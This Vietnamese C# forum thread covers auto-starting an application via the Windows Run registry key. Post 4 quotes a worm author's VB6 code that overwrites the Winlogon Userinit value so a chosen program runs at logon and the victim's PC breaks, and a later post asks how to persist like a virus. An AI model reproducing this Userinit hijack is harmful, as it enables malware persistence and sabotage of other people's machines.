Từ 1 tới 7 trên tổng số 7 kết quả

Đề tài: Làm ứng dụng khởi động cùng window trong lập trình C#

  1. #1
    Ngày gia nhập
    06 2007
    Nơi ở
    Hà Nội
    Bài viết
    361

    Mặc định Làm ứng dụng khởi động cùng window trong lập trình C#

    Nguyên tác ở đây:
    Ref Link Code:

    code rất ngắn, rất hợp với tui
    bên box vc++ post mấy bài mà chả có cái nào hoàn chỉnh cả , nhất là với tui, chưa dùng registry bao giờ: Tạo ứng dụng chạy cùng windows
    vốn định dùng folder cho vào startup , nhưng cái này code ngắn quá nên thích hơn
    Visual C# Code:
    1. using System;
    2. using System.Collections.Generic;
    3. using System.ComponentModel;
    4. using System.Data;
    5. using System.Drawing;
    6. using System.Text;
    7. using System.Windows.Forms;
    8. [B]using Microsoft.Win32;[/B]
    9.  
    10. namespace RunAtStartup
    11. {
    12.     public partial class frmStartup : Form
    13.     {
    14.         // The path to the key where Windows looks for startup applications
    15.         [B]RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);[/B]
    16.  
    17.         public frmStartup()
    18.         {
    19.             InitializeComponent();
    20.             // Check to see the current state (running at startup or not)
    21.             [B]if (rkApp.GetValue("MyApp") == null)[/B]
    22.             {
    23.                 // The value doesn't exist, the application is not set to run at startup
    24.                 chkRun.Checked = false;
    25.             }
    26.             else
    27.             {
    28.                 // The value exists, the application is set to run at startup
    29.                 chkRun.Checked = true;
    30.             }
    31.         }
    32.  
    33.         private void btnOk_Click(object sender, EventArgs e)
    34.         {
    35.             if (chkRun.Checked)
    36.             {
    37.                 // Add the value in the registry so that the application runs at startup
    38.                 [B]rkApp.SetValue("MyApp", Application.ExecutablePath.ToString());[/B]
    39.             }
    40.             else
    41.             {
    42.                 // Remove the value from the registry so that the application doesn't start
    43.                 [B]rkApp.DeleteValue("MyApp", false);[/B]
    44.             }
    45.         }
    46.     }
    47. }
    chỉ cần nhớ mấy dòng in đậm là có thể hô phong hoán vũ được rồi
    Đã được chỉnh sửa lần cuối bởi tienlbhoc : 20-11-2007 lúc 02:25 PM.
    Blog tổng quan kiến thức về viễn thông : http://tongquanvienthong.blogspot.com/

    mSPDict từ điển android hỗ trợ liên kết tra trên các trình đọc sách điện tử và tra sách giấy thông qua camera
    http://www.tinhte.vn/threads/691731/

  2. #2
    Ngày gia nhập
    06 2007
    Nơi ở
    Đà Nẵng
    Bài viết
    41

    nên biết rằng cho vào startup là cách cực gà đấy , nên ít nhắc đến
    mà cách trên cũng dùng reg mà . chỉ cần biết nhiều key là làm được thôi
    SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Cái đó là key khởi động cùng win

  3. #3
    Ngày gia nhập
    06 2007
    Nơi ở
    Hà Nội
    Bài viết
    361

    Trích dẫn Nguyên bản được gửi bởi tienlbhoc Xem bài viết
    vốn định dùng folder cho vào startup , nhưng cái này code ngắn quá nên thích hơn
    Đọc cho kỹ nghe , còn gà hay không không biết , nhưng tạo startup code phức tạp hơn đó nhóc , chỉ là người dùng thủ công hay dùng nên thanDN mới tự nghĩ mà mình thanh cao thôi.
    Blog tổng quan kiến thức về viễn thông : http://tongquanvienthong.blogspot.com/

    mSPDict từ điển android hỗ trợ liên kết tra trên các trình đọc sách điện tử và tra sách giấy thông qua camera
    http://www.tinhte.vn/threads/691731/

  4. #4
    Ngày gia nhập
    06 2007
    Nơi ở
    Đà Nẵng
    Bài viết
    41

    Nói gì nghe nhức lỗ tai quá :|((

    Lục tìm các \bài viết bất hủ của dũng còi mới thấy được vài chô , thank phát nha
    http://caulacbovb.com/forum/viewtopic.php?f=11&t=8636

    2. Kỹ thuật dựa vào khe hở hệ thống :[u]

    Ông Bill Gate (Đọc là Bíu Gết) thiệt thà lắm. Ổng viết hệ điều hành Windows dành cho người “Thật thà” như ổng sài thui hà, còn với dân “Quậy” như Dũng còi thì rõ rang ổng... quên khuyết cáo là không nên “Sài”.

    Khổ lắm, do ổng quên khuyết cáo nên Dũng còi cứ phải hy sinh lien tục bởi cái thật thà của ổng.

    Tại sao ?

    Nếu bạn chú ý sẽ có 1 File trong hệ điều hành được bào vệ (Như file Userinit.exe trong thư mục System32 đó). Vấn đề là khi ông Bíu Gết ổng chỉ lo bảo vệ “Thân chủ” thì ông ta lại quên bảo vệ “Việc làm” của thân chủ.



    Thực ra các tập tin trong các Key trong Regedit có đường dẫn ...\Software\Microsoft\Windows\CurrentVersion\Run. ... được gọi ra bởi Explorer.exe . Trớ trêu sao, thay vì Windows gọi thẳng tập tin khi khởi động thì nó lại gọi tập tin userinit.exe ra trước để “Mở đường” gọi Explorer.exe. Bíu Gết thật thà ở điểm đường dẫn tập tin userinit.exe ông ta lại không cho “Đứng yên”. Ổng lại vẽ cho nó cái Key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit



    Hic hic, tội quá. Như vậy nếu bạn thay đổi đường dẫn chứa trong Key đó thì hệ điều hành “Khỏi chơi” luôn. Mà cho dù nó dẫn đến chương trình của bạn. Mà chương trình đó lại không “Mời” anh Explorer.exe thì hệ điều hành pó ku.



    Tận dụng sự “Thật thà” này chúng ta chỉ cần chỉnh sửa Key trong đó là xong.



    Trong quá trình viết worm vbvn . Dũng còi đã sử dụng kỹ thuật này để khởi động Worm trên PC nạn nhân.

    Bi giờ Dũng còi sẽ đưa ra các dòng lệnh trên VB 6.0 để thực hiện công việc trên :



    Option Explicit
    Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

    Declare Function RegCreateKey Lib "advapi32.dll" _

    Alias "RegCreateKeyA" ( _

    ByVal hKey As Long, _

    ByVal lpSubKey As String, _

    phkResult As Long) As Long

    Declare Function RegSetValueEx Lib "advapi32.dll" _

    Alias "RegSetValueExA" ( _

    ByVal hKey As Long, _

    ByVal lpValueName As String, _

    ByVal Reserved As Long, _

    ByVal dwType As Long, _

    lpData As Any, _

    ByVal cbData As Long) As Long

    Public Const REG_SZ = 1

    Public Const REG_BINARY = 3

    Public Const HKEY_LOCAL_MACHINE = &H80000002



    Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)

    Dim Ret

    RegCreateKey hKey, strPath, Ret

    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)

    RegCloseKey Ret

    End Sub

    Private Sub Form_Load()

    SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”, Userinit, “C:\BoNguoiTa.exe”

    End Sub



    Híc híc, dã man quá. Nạn nhân sẽ sùi bọt mép khi lần khởi động sau không thể làm việc được với cái PC. Kêu Ông thợ vô nó pó chân chấm nét (Chắc chắn kiểm tra dây cắm rùi lại quay qua mấy cái Đờ rai vơ, vẫn không được mất ổng kiểm tra xem trong thư mục Windows có thiếu tập tin nào không .... và tất yếu là là mấy ổng sẽ có kết luận “Cài lại”... híc híc )



    Còn bạn, lỡ Test rùi thì sao.

    Khi bạn chưa cúp máy (Chưa bị ngeo) thì tự sữa chữa bằng cách sửa dòng lệnh :

    SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”, Userinit, “C:\WINDOWS\system32\userinit.exe”

    Rùi chạy nó.



    Còn khi đã “Lầm đường, lỡ bước thì sao ?”



    Okie, chuyện nhỏ

    Khởi động PC ở chế độ Dos thực hiên dòng lệnh

    Copy C:\WINDOWS\system32\userinit.exe C:\BoNguoiTa.exe
    Nói rõ hơn là bạn Copy file từ file userinit.exe vô tên file kia



    Chú ý : Windows là một hệ điều hành có quá trời điều thú vị. Phương pháp trên chỉ là một phương pháp điển hình mà thui (Trong lúc tìm hiểu Dũng còi đã tìm ra ít nhất 3 Key khác cũng có thể “Quậy” như Key này)





    Okie, Dũng còi sì tốp bài “Thuyết giảng” ở đây. Hẹn gặp lại quý vị các bạn vào lần sau.



    Lần sau Dũng còi sẽ hướng dẫn 1 kỹ thuật vô cùng “Man rợ”. Đó là 1 kỹ thuật cho phép chương trình của bạn khởi động ngay cả trên Safe Mode. Chính kỹ thuật này mà một chương trình “Tống tiền” của Ông Hoàng nào đó làm cho giới IT Việt vô cùng kinh sợ. Kỹ thuật chẳng có chi khó, mới có chừng đó mà đòi “Vòi” tiền thiên hạ, đúng là phường trộm cướp (Nè, đừng nghĩ xấu Dũng còi nha, Dũng còi chỉ khoái nghiên kíu chứ Dũng còi chưa bao giờ dung các kỹ thuật mình tạo để kiếm lợi cho mình nha)

    :-D bài viết sau thực ra là nói về nguyên tắc sài Key userinit để khởi động trong Safe Mode (Và kể cả chế độ thông thường )=> Cái này có trong bài viết "Các phương thức sống cùng hệ điều hành" cảu anh viết ùi
    Đọc xong mấy bài về quậy phá hệ thống của DungCòi, thấy còn thiếu vài lời hăm doạ thân chủ nữa. Trước khi chạy userinit.exe, máy tính phải thông báo:
    Caption: "Thông báo"
    Text: "Máy tính này gặp trọng bệnh, liên hệ ngay tới Dũng còi cọc ở Đaknông !!!".
    Riêng máy của mình thì khác:
    Caption: "Thông báo của Microsoft"
    Text: "Tập đoàn Microsoft vô cùng hân hạnh đuợc biết Ngài taykhongbatgiac đang khởi động bản Windows do chúng tôi kính biếu".
    (Đích thân Bill Gates sửa HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ở 2 chỗ: LegalNoticeCaption và LegalNoticeText )
    đang viết dở đến cái chỗ dùng cho safe mode thì ông không viết nữa

  5. #5
    Ngày gia nhập
    09 2008
    Bài viết
    18

    ngày trước mình làm một chương trình khởi động cùng hệ thống mình tìm ra 2 cách:
    1. như cách bạn làm là hook vào registry
    2. bạn có thể tạo shortcut trong thư mục startup thì cũng đc.

    hai cách này vẫn có nhược điểm là người dùng vẫn có thể disable/ xóa nó đi đc.
    có ai làm cho nó chạy đc như mấy con virus khởi động cùng win ko??
    mình cũng chưa tìm đc nó hook vào dll nào nữa!
    --------------------------------------

  6. #6
    Ngày gia nhập
    03 2011
    Bài viết
    6

    Mặc định Làm ứng dụng khởi động cùng window trong lập trình C#

    Trích dẫn Nguyên bản được gửi bởi tienlbhoc Xem bài viết
    Nguyên tác ở đây:
    Ref Link Code:

    code rất ngắn, rất hợp với tui
    bên box vc++ post mấy bài mà chả có cái nào hoàn chỉnh cả , nhất là với tui, chưa dùng registry bao giờ: Tạo ứng dụng chạy cùng windows
    vốn định dùng folder cho vào startup , nhưng cái này code ngắn quá nên thích hơn
    Visual C# Code:
    1. using System;
    2. using System.Collections.Generic;
    3. using System.ComponentModel;
    4. using System.Data;
    5. using System.Drawing;
    6. using System.Text;
    7. using System.Windows.Forms;
    8. [B]using Microsoft.Win32;[/B]
    9.  
    10. namespace RunAtStartup
    11. {
    12.     public partial class frmStartup : Form
    13.     {
    14.         // The path to the key where Windows looks for startup applications
    15.         [B]RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);[/B]
    16.  
    17.         public frmStartup()
    18.         {
    19.             InitializeComponent();
    20.             // Check to see the current state (running at startup or not)
    21.             [B]if (rkApp.GetValue("MyApp") == null)[/B]
    22.             {
    23.                 // The value doesn't exist, the application is not set to run at startup
    24.                 chkRun.Checked = false;
    25.             }
    26.             else
    27.             {
    28.                 // The value exists, the application is set to run at startup
    29.                 chkRun.Checked = true;
    30.             }
    31.         }
    32.  
    33.         private void btnOk_Click(object sender, EventArgs e)
    34.         {
    35.             if (chkRun.Checked)
    36.             {
    37.                 // Add the value in the registry so that the application runs at startup
    38.                 [B]rkApp.SetValue("MyApp", Application.ExecutablePath.ToString());[/B]
    39.             }
    40.             else
    41.             {
    42.                 // Remove the value from the registry so that the application doesn't start
    43.                 [B]rkApp.DeleteValue("MyApp", false);[/B]
    44.             }
    45.         }
    46.     }
    47. }
    chỉ cần nhớ mấy dòng in đậm là có thể hô phong hoán vũ được rồi

    sorry vì đã đào mộ )
    Cho mình hỏi là cái key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run là mình phải theo đổi = link dẫn đến chương trình mình muốn chạy đúng k ? . Nhưng nếu người dùng cài ở ổ nào thì mình đâu thể biết :-?? .

    Và nếu có thể cho chương trình chạy Startup = cái Setup trong C# thì có thể chỉ mình với đc k mình đang tìm hiểu vấn đề này .

  7. #7
    Ngày gia nhập
    03 2010
    Nơi ở
    ___Nghe _ An___
    Bài viết
    220

    Trích dẫn Nguyên bản được gửi bởi binhnv Xem bài viết
    sorry vì đã đào mộ )
    Cho mình hỏi là cái key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run là mình phải theo đổi = link dẫn đến chương trình mình muốn chạy đúng k ? . Nhưng nếu người dùng cài ở ổ nào thì mình đâu thể biết :-?? .

    Và nếu có thể cho chương trình chạy Startup = cái Setup trong C# thì có thể chỉ mình với đc k mình đang tìm hiểu vấn đề này .
    ơ không phải đâu
    ý bạn sẽ mình làm như sau
    ko biết bạn có hiểu ko
    Visual C# Code:
    1.             //tao mot subkey mang ten la manhquyen
    2.             RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\ManhQuyen");
    3.             //mo registry khoi dong cung win
    4.             RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
    5.             string keyvalue = "1";
    6.             //string subkey = "Software\\ManhQuyen";
    7.             try
    8.             {
    9.                 //chen gia tri key
    10.                 regkey.SetValue("Index", keyvalue);
    11.                 //regstart.SetValue("taoregistrytronghethong", "E:\\Studing\\Bai Tap\\CSharp\\Channel 4\\bai temp\\tao registry trong he thong\\tao registry trong he thong\\bin\\Debug\\tao registry trong he thong.exe");
    12.                 regstart.SetValue("taoregistrytronghethong", Environment.CurrentDirectory + "\\tao registry trong he thong.exe");
    13.                 ////dong tien trinh ghi key
    14.                 //regkey.Close();
    15.                 //thong bao trang thai
    16.                 Console.WriteLine("dang ky key thanh cong");
    17.             }
    18.             catch (System.Exception ex)
    19.             {
    20.                 Console.WriteLine("khong the chen key");
    21.             }
    Reload

Các đề tài tương tự

  1. Trả lời: 1
    Bài viết cuối: 13-07-2014, 08:06 AM
  2. Tạo ComboBoxEx để có thể hiển thị Image cùng với text trong window API?
    Gửi bởi ngochieu123 trong diễn đàn Windows API, Hooking, xử lý Windows Message
    Trả lời: 2
    Bài viết cuối: 18-06-2012, 03:39 PM
  3. Làm thế nào để tạo một OpenGL Window bên trong một Main Window?
    Gửi bởi bachhaiduong trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 2
    Bài viết cuối: 10-01-2012, 10:09 AM
  4. Cách làm chương trình C# chạy cùng Window?
    Gửi bởi headshot trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 33
    Bài viết cuối: 27-04-2011, 08:06 AM
  5. Không paint lại vùng main window bị child window đè
    Gửi bởi hieubm trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 11
    Bài viết cuối: 27-01-2007, 07:44 PM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn